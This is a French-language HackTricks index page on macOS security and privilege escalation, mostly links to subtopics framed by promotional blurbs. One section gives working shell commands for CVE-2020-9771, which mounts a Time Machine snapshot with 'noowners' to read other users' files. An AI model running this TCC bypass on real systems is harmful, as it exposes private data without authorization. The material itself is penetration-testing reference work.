.. | ||
mac-os-architecture | ||
macos-apps-inspecting-debugging-and-fuzzing | ||
macos-files-folders-and-binaries | ||
macos-mdm | ||
macos-proces-abuse | ||
macos-security-protections | ||
macos-applefs.md | ||
macos-basic-objective-c.md | ||
macos-bypassing-firewalls.md | ||
macos-defensive-apps.md | ||
macos-dyld-hijacking-and-dyld_insert_libraries.md | ||
macos-file-extension-apps.md | ||
macos-gcd-grand-central-dispatch.md | ||
macos-protocols.md | ||
macos-red-teaming.md | ||
macos-users.md | ||
README.md |
Sécurité et élévation des privilèges sur macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou vous voulez avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes !
Perspectives de piratage
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
Actualités de piratage en temps réel
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
Base de MacOS
Si vous n'êtes pas familier avec macOS, vous devriez commencer par apprendre les bases de macOS :
- Fichiers et permissions spéciaux de macOS :
{% content-ref url="macos-files-folders-and-binaries/" %} macos-files-folders-and-binaries {% endcontent-ref %}
- Utilisateurs courants de macOS
{% content-ref url="macos-users.md" %} macos-users.md {% endcontent-ref %}
- AppleFS
{% content-ref url="macos-applefs.md" %} macos-applefs.md {% endcontent-ref %}
- Architecture du noyau
{% content-ref url="mac-os-architecture/" %} mac-os-architecture {% endcontent-ref %}
- Services et protocoles réseau courants de macOS
{% content-ref url="macos-protocols.md" %} macos-protocols.md {% endcontent-ref %}
- macOS Open Source : https://opensource.apple.com/
- Pour télécharger un fichier
tar.gz
, modifiez une URL telle que https://opensource.apple.com/source/dyld/ en https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz
MacOS MDM
Dans les entreprises, les systèmes macOS sont très probablement gérés avec un MDM. Par conséquent, du point de vue d'un attaquant, il est intéressant de savoir comment cela fonctionne :
{% content-ref url="../macos-red-teaming/macos-mdm/" %} macos-mdm {% endcontent-ref %}
MacOS - Inspection, débogage et fuzzing
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %} macos-apps-inspecting-debugging-and-fuzzing {% endcontent-ref %}
Protections de sécurité de MacOS
{% content-ref url="macos-security-protections/" %} macos-security-protections {% endcontent-ref %}
Surface d'attaque
Permissions de fichier
Si un processus s'exécutant en tant que root écrit un fichier qui peut être contrôlé par un utilisateur, l'utilisateur pourrait en abuser pour escalader les privilèges.
Cela peut se produire dans les situations suivantes :
- Le fichier utilisé a déjà été créé par un utilisateur (appartenant à l'utilisateur)
- Le fichier utilisé est accessible en écriture par l'utilisateur en raison d'un groupe
- Le fichier utilisé se trouve dans un répertoire appartenant à l'utilisateur (l'utilisateur peut créer le fichier)
- Le fichier utilisé se trouve dans un répertoire appartenant à root, mais l'utilisateur a un accès en écriture dessus en raison d'un groupe (l'utilisateur peut créer le fichier)
Pouvoir créer un fichier qui va être utilisé par root, permet à un utilisateur de profiter de son contenu ou même de créer des liens symboliques/hardlinks pour le pointer vers un autre endroit.
Pour ce type de vulnérabilités, n'oubliez pas de vérifier les installateurs .pkg
vulnérables :
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %} macos-installers-abuse.md {% endcontent-ref %}
Abus des privilèges et des autorisations via l'abus de processus
Si un processus peut injecter du code dans un autre processus avec des privilèges ou des autorisations supérieures ou le contacter pour effectuer des actions avec des privilèges, il peut escalader les privilèges et contourner les mesures de défense telles que Sandbox ou TCC.
{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}
Gestionnaires d'applications pour les extensions de fichiers et les schémas d'URL
Des applications étranges enregistrées par des extensions de fichiers peuvent être utilisées de manière abusive et différentes applications peuvent être enregistrées pour ouvrir des protocoles spécifiques.
{% content-ref url="macos-file-extension-apps.md" %} macos-file-extension-apps.md {% endcontent-ref %}
Élévation de privilèges sur MacOS
CVE-2020-9771 - Contournement de TCC et élévation de privilèges avec mount_apfs
N'importe quel utilisateur (même non privilégié) peut créer et monter un instantané de la machine à remonter le temps et accéder à TOUS les fichiers de cet instantané.
Le seul privilège nécessaire est que l'application utilisée (comme Terminal
) ait un accès complet au disque (FDA - Full Disk Access) (kTCCServiceSystemPolicyAllfiles
), qui doit être accordé par un administrateur.
{% code overflow="wrap" %}
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
{% endcode %}
Une explication plus détaillée peut être trouvée dans le rapport original.
Informations sensibles
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}
Linux Privesc
Tout d'abord, veuillez noter que la plupart des astuces sur l'élévation de privilèges affectant Linux/Unix affecteront également les machines MacOS. Donc voir:
{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}
Références
- OS X Incident Response: Scripting and Analysis
- https://taomm.org/vol1/analysis.html
- https://github.com/NicolasGrimonpont/Cheatsheet
- https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ
- https://www.youtube.com/watch?v=vMGiplQtjTY
Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
Hacking Insights
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
Actualités de piratage en temps réel
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.